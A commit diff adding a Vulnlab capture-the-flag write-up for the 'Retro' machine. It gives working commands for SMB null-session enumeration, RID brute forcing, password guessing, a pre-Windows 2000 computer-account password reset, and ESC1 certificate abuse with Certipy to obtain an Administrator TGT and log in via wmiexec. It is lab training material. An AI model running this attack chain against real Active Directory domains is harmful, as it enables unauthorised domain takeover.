|
| 1 | +--- |
| 2 | +cover: https://photos.squarezero.dev/file/abir-images/Retro/logo.png |
| 3 | +date: 2024-06-22 09:45:47 +07:00 |
| 4 | +modified: 2024-06-22 09:45:47 +07:00 |
| 5 | +categories: Vulnlab |
| 6 | +machine_author: |
| 7 | + name: r0BIT |
| 8 | + link: https://www.linkedin.com/in/robin-unglaub/ |
| 9 | +tags: ["Nmap", "port scanning", "SMB enumeration", "null session", "RID brute forcing", "password guessing", "simple passwords", "Windows shares", "Pre-Windows 2000 Computers", "credential change", "Impacket", "ESC1 attack", "Active Directory Certificate Services", "Certipy", "Kerberos", "TGT request"] |
| 10 | +title: Retro - Vulnlab |
| 11 | +--- |
| 12 | + |
| 13 | + |
| 14 | + |
| 15 | +Retro is an **easy** difficulty machine where I had to enumerate open ports and services, leverage LDAP and SMB services to gain initial access, utilize credential brute forcing to discover simple passwords, and employ Impacket and Certipy to change credentials and exploit an ESC1 vulnerability for privilege escalation. The final step involved obtaining a TGT for the administrator to capture the root flag. |
| 16 | + |
| 17 | + |
| 18 | +# Enumeration |
| 19 | +The Nmap scan shows the following ports. |
| 20 | + |
| 21 | +```Bash |
| 22 | +PORT STATE SERVICE |
| 23 | +53/tcp open domain |
| 24 | +88/tcp open kerberos-sec |
| 25 | +135/tcp open msrpc |
| 26 | +139/tcp open netbios-ssn |
| 27 | +389/tcp open ldap |
| 28 | +445/tcp open microsoft-ds |
| 29 | +464/tcp open kpasswd5 |
| 30 | +593/tcp open http-rpc-epmap |
| 31 | +636/tcp open ldapssl |
| 32 | +3268/tcp open globalcatLDAP |
| 33 | +3269/tcp open globalcatLDAPssl |
| 34 | +3389/tcp open ms-wbt-server |
| 35 | +9389/tcp open adws |
| 36 | +``` |
| 37 | + |
| 38 | +Guest login is enabled in the machine and I can see the shares using a username and null password. |
| 39 | +`netexec smb ip -u 'sz' -p '' --shares` |
| 40 | + |
| 41 | + |
| 42 | + |
| 43 | +I also used rid brute force to get users into the system. |
| 44 | +`netexec smb ip -u 'sz' -p '' --rid-brute` |
| 45 | + |
| 46 | + |
| 47 | + |
| 48 | +# Password Guessing |
| 49 | + |
| 50 | +In the Trainees shares there is a text file where it talks about making an simple password for trainees. |
| 51 | + |
| 52 | +`smbclient "//10.10.81.244/Trainees" -U "sz" --password=''` |
| 53 | + |
| 54 | +``` |
| 55 | +Dear Trainees, |
| 56 | +I know that some of you seemed to struggle with remembering strong and unique passwords. |
| 57 | +So we decided to bundle every one of you up into one account. |
| 58 | +Stop bothering us. Please. We have other stuff to do than resetting your password every day. |
| 59 | + |
| 60 | +Regards |
| 61 | +The Admins |
| 62 | +``` |
| 63 | + |
| 64 | +Using the usernames earlier I can tried bruteforce with usernames as password and got **trainees:trainees** valid |
| 65 | + |
| 66 | +`netexec smb 10.10.81.244 -u user.txt -p user.txt -no-bruteforce` |
| 67 | + |
| 68 | + |
| 69 | + |
| 70 | +# Pre-Windows 2000 Computers |
| 71 | + |
| 72 | +I explored Notes share with trainee credentials and found another notes where it talked about **Pre Created Computer Account** |
| 73 | +`smbclient "//10.10.81.244/Notes" -U "trainee" --password='trainee'` |
| 74 | + |
| 75 | + |
| 76 | + |
| 77 | +``` |
| 78 | +Thomas, |
| 79 | + |
| 80 | +after convincing the finance department to get rid of their ancienct banking software |
| 81 | +it is finally time to clean up the mess they made. We should start with the pre created computer account. That one is older than me. |
| 82 | + |
| 83 | +Best |
| 84 | +James |
| 85 | +``` |
| 86 | + |
| 87 | +After researching for a little bit I found this 2 article where it talked about how I can change the credentials of **Pre-Windows 2000 Computers**. |
| 88 | + |
| 89 | +[The Hacker Recipes](https://www.thehacker.recipes/ad/movement/domain-settings/pre-windows-2000-computers) |
| 90 | +[Trustedsec](https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts) |
| 91 | + |
| 92 | + |
| 93 | + |
| 94 | +As this is a financial department I used previously found user **banking** and got ***NT_STATUS_RESOURCE_NAME_NOT_FOUND*** which confirms its vulnerable. |
| 95 | + |
| 96 | +`smbclient -W retro.vl -U "banking" --password='banking' -L retro.vl` |
| 97 | + |
| 98 | + |
| 99 | + |
| 100 | +I also verified it with Netexec. |
| 101 | + |
| 102 | + |
| 103 | + |
| 104 | +Next, I used Impacket to change the credentials and also create alternative credentials. |
| 105 | + |
| 106 | +`impacket-changepasswd retro.vl/banking$:banking@10.10.105.52 -newpass Password123 -altuser trainee -altpass trainee` |
| 107 | + |
| 108 | + |
| 109 | + |
| 110 | + |
| 111 | +# ESC1 |
| 112 | + |
| 113 | +Using the new credential I enumerated ADCS and the machine was vulnerable to ESC1 attack. |
| 114 | + |
| 115 | +`certipy find -u 'banking$' -p 'Password123' -dc-ip 10.10.105.52 -enabled -vulnerable -stdout` |
| 116 | + |
| 117 | + |
| 118 | +```bash |
| 119 | +Certificate Templates |
| 120 | + 0 |
| 121 | + Template Name : RetroClients |
| 122 | + Display Name : Retro Clients |
| 123 | + Certificate Authorities : retro-DC-CA |
| 124 | + Enabled : True |
| 125 | + Client Authentication : True |
| 126 | + Enrollment Agent : False |
| 127 | + Any Purpose : False |
| 128 | + Enrollee Supplies Subject : True |
| 129 | + Certificate Name Flag : EnrolleeSuppliesSubject |
| 130 | + Enrollment Flag : None |
| 131 | + Private Key Flag : 16842752 |
| 132 | + Extended Key Usage : Client Authentication |
| 133 | + Requires Manager Approval : False |
| 134 | + Requires Key Archival : False |
| 135 | + Authorized Signatures Required : 0 |
| 136 | + Validity Period : 1 year |
| 137 | + Renewal Period : 6 weeks |
| 138 | + Minimum RSA Key Length : 4096 |
| 139 | + Permissions |
| 140 | + Enrollment Permissions |
| 141 | + Enrollment Rights : RETRO.VL\Domain Admins |
| 142 | + RETRO.VL\Domain Computers |
| 143 | + RETRO.VL\Enterprise Admins |
| 144 | + Object Control Permissions |
| 145 | + Owner : RETRO.VL\Administrator |
| 146 | + Write Owner Principals : RETRO.VL\Domain Admins |
| 147 | + RETRO.VL\Enterprise Admins |
| 148 | + RETRO.VL\Administrator |
| 149 | + Write Dacl Principals : RETRO.VL\Domain Admins |
| 150 | + RETRO.VL\Enterprise Admins |
| 151 | + RETRO.VL\Administrator |
| 152 | + Write Property Principals : RETRO.VL\Domain Admins |
| 153 | + RETRO.VL\Enterprise Admins |
| 154 | + RETRO.VL\Administrator |
| 155 | + [!] Vulnerabilities |
| 156 | + ESC1 |
| 157 | +``` |
| 158 | + |
| 159 | +Using Certipy I requested .pfx key using the vulnerable template. Because of the ***Key Size*** error, I specified the key-size |
| 160 | + |
| 161 | +`certipy req -u 'banking$'@retro.vl -p 'Password123' -dc-ip 10.10.105.52 -ca retro-DC-CA -template RetroClients -upn ADMINISTRATOR@retro.VL -key-size 4096` |
| 162 | + |
| 163 | + |
| 164 | + |
| 165 | +Next, Using the pfx key I requested TGT of the administrator. |
| 166 | + |
| 167 | +`certipy auth -pfx administrator.pfx -username Administrator -domain retro.vl -dc-ip 10.10.105.52` |
| 168 | + |
| 169 | + |
| 170 | + |
| 171 | +Using the TGT I can now login to the machine and get the flag. |
| 172 | +`wmiexec.py administrator@10.10.105.52 -hashes <.....redacted......>` |
| 173 | + |
| 174 | + |
| 175 | + |
| 176 | + |
| 177 | + |
0 commit comments